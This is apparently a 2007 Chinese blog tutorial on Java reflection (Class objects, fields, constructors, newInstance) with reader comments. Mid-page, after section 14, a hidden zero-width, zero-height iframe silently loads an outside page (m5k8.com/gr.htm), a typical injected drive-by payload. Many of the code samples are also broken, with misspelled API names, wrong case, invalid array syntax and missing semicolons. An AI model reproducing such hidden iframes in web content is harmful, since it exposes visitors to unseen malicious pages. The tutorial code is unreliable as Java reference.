Java反射机制

Java反射机制
一.概述
   reflection是一系列的API,用于表示或者处理当前JVM中的类,接口和对象.
   java.lang.reflect/java.lang.Class
二.主要功能
    确定一个对象的类
    取出类的modifiers,数据成员,方法,构造器,和超类.
    找出某个接口里定义的常量和方法说明.
    创建一个类实例,这个实例在运行时刻才有名字(运行时间才生成的对象).
    取得和设定对象数据成员的值,如果数据成员名是运行时刻确定的也能做到.
    在运行时刻调用动态对象的方法.
    创建数组,数组大小和类型在运行时刻才确定,也能更改数组成员的值.
三.分析类
   取得数据成员名,方法和构造器
四.取得Class对象
   方法一>
          如:myobject是某个类的对象
          则他的Class对象是Class myobjectclass=myobject.getClass()
                           System.err.println(myobjectclass.toString())
   方法二>取得某类对象的超类,可以用getSuperClass()方法
          如:TextComponet 类是TextField的超类
          TextField t=new TextField();
          Class c=t.getClass();
          Class s=c.getSuperclass();
    方法三>如果已知一个class
          如:已知java.swt.(Button.class)
          Class c=java.swt.Button.class;//直接获得Class对象.
          System.err.println(c.toString());
    方法三>运行时才确定的类.(运行时绑定)
          forName(类名)返回一个Class对象.
          如:Class c=Class.forName("java.swt.Button")
   
五.取得类名
六.找出超类
   getSuperclass();
                c x=new c();
  Class xx=x.getClass();
  Class xxx=xx.getSuperclass();
  System.err.println(xx.toString());//class
  System.err.println("XX的超类是:"+xxx.toString());
七.确定某类实现的接口
   getIntface()方法,返回一个Class对象数组.
   MyObject o=new MyObject();
   Class c=o.getClass();
   Class[] theinterfaces=c.getIntfaces();
   for(int i=0;i<theinterfaces.length;i++)
   {
      String interfacename=theinterfaces[i].getName();
      System.out.println(interfacename);
   }
八.检查接口
   同上....^_^
九.取得类字段(属性)
   getFields()返回一个字段数组.
   //::
   Panel g=new Panel();
   Class c=g.getClass();
   Field[] publicFields=c.getFields();
   for(int i=0;i<publicFields.length;i++)
   {
      String fieldName=poublicFields[i].getName();
      Class typeclass=publicFields[i].getType();
      string fieldType=typeclass.getName();
      System.out.println("字段:"+fieldName+"字段类型:"+fieldType);
   }
十.取得构造方法
   getconstructors()返回一个constructor对象数组.利用这个constructor对象可以获得构造方法的名字,参数(getParameterTypes()获得
   参数类型列表),
   修饰符抛出的异常列表等信息.也可以用constructor.newInstance()创建一个新的constructor对象.
   如:> myobject o=new myobject();
        Class c=o.getClass();
        Constructor[] theConstructors=c.getConstructors();
        for(int i=0;i<theConstructors.length;i++)
        {
            Class[] parameterTypes=theConstructors[i].getParameterTypes();
            for(int k=0;k<parameterTypes.length;k++)
            {
                 String parameterString=parameterTypes[k].getName();
                 System.out.print(parameterString+"  ")
            }
            System.out.println();

        }
十一.取得方法信息
     getMetheds()(getReturnType(),getParameterTypes())
十二.取得字段的值
     步骤:一.创建Class对象.二.用getField()创建一个Field对象.三.调用Field的get()方法.(set()方法用于动态设置字段的值)   
     Rectangle r=new Rectangle(100,20);
     Field widthField;
     Integer widthValue;
     Class c=r.getClass();
     widthField=c.getField("width");
     widthField.set(r.widthParam);
十三.创建对象
     方法一>:无参数.
     forName()找到一个类,然后用newInstance()创建一个对象.
     Class c=Class.forName("java.lang.Thread");//装载类.
     Thread t=c.newInstance();
     方法二>有参数的,构造器newInstance()
     Class c=Class.forName("java.awt.Rectangle");
     Object o=null;
     Object[] args=new Object[] (int width,int height)
     Constructor constructor=c.getConstructor();
     o=constructor.newInstance(object[] args)
十四.判断一个Class对象是一个类还是接口.
     class c=java.lang.thread.class
     if(c.isInterface)
        system.out.println("是接口");
     else
        System.out.println("是类");<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>

Java反射机制是实现hibernate以及Spring中IoC（依赖注入）的基础。

评论

7 楼 dd5801 2007-09-17  

楼上几位老兄说的很对啊，真是受益非浅啊

6 楼 processlife 2007-09-10  

楼主说的很好,补充几个反射的应用 :
spring 的 ioc/di 也是反射....
javaBean和jsp之间调用也是反射....
struts的 FormBean 和页面之间...也是通过反射调用....
JDBC 的 classForName()也是反射.....
hibernate的 find(Class clazz) 也是反射....

5 楼 gordonAtJava 2007-09-10  

还有就是java.lang.reflect.Modifier的使用
Modifier.isFinal(obj.getClass().getModifiers())
等等

4 楼 gordonAtJava 2007-09-10  

另外还有要注意declared的区别,比如getDeclaredMethods
还有就是获得generic的信息,只有class头上的和field上的可以获得
e.g.
((ParameterizedType) obj.getClass().getGenericSuperclass()).getActualTypeArguments();

((ParameterizedType)field.getGenericType()).getActualTypeArguments()[0];
还有就是annotation的信息获取

3 楼 javachs 2007-09-10  

讲个具体列子先，期待ing

2 楼 dd5801 2007-09-05  

其实在hibernate中应用java反射机制是很普遍的,比如说,我们只需要书写一个持久化类(其实我认为就是实体类了),然后通过对象关系映射就可以了通过工厂来进行操作了.其实,hibernate正是通过java反射机制获取配置文件里的实体类,然后再进一步获得类名,类的属性和方法等信息和数据库字段相联系比较,实现以上功能操作.也正是hibernate的这些底层操作简化了我们的编程,实现了数据的持久化.

1 楼 javachs 2007-09-05  

老兄讲的好，大大的谢谢，象我这么笨的人都看得懂，在讲一下java的反射机制在实现hibernate中的应用。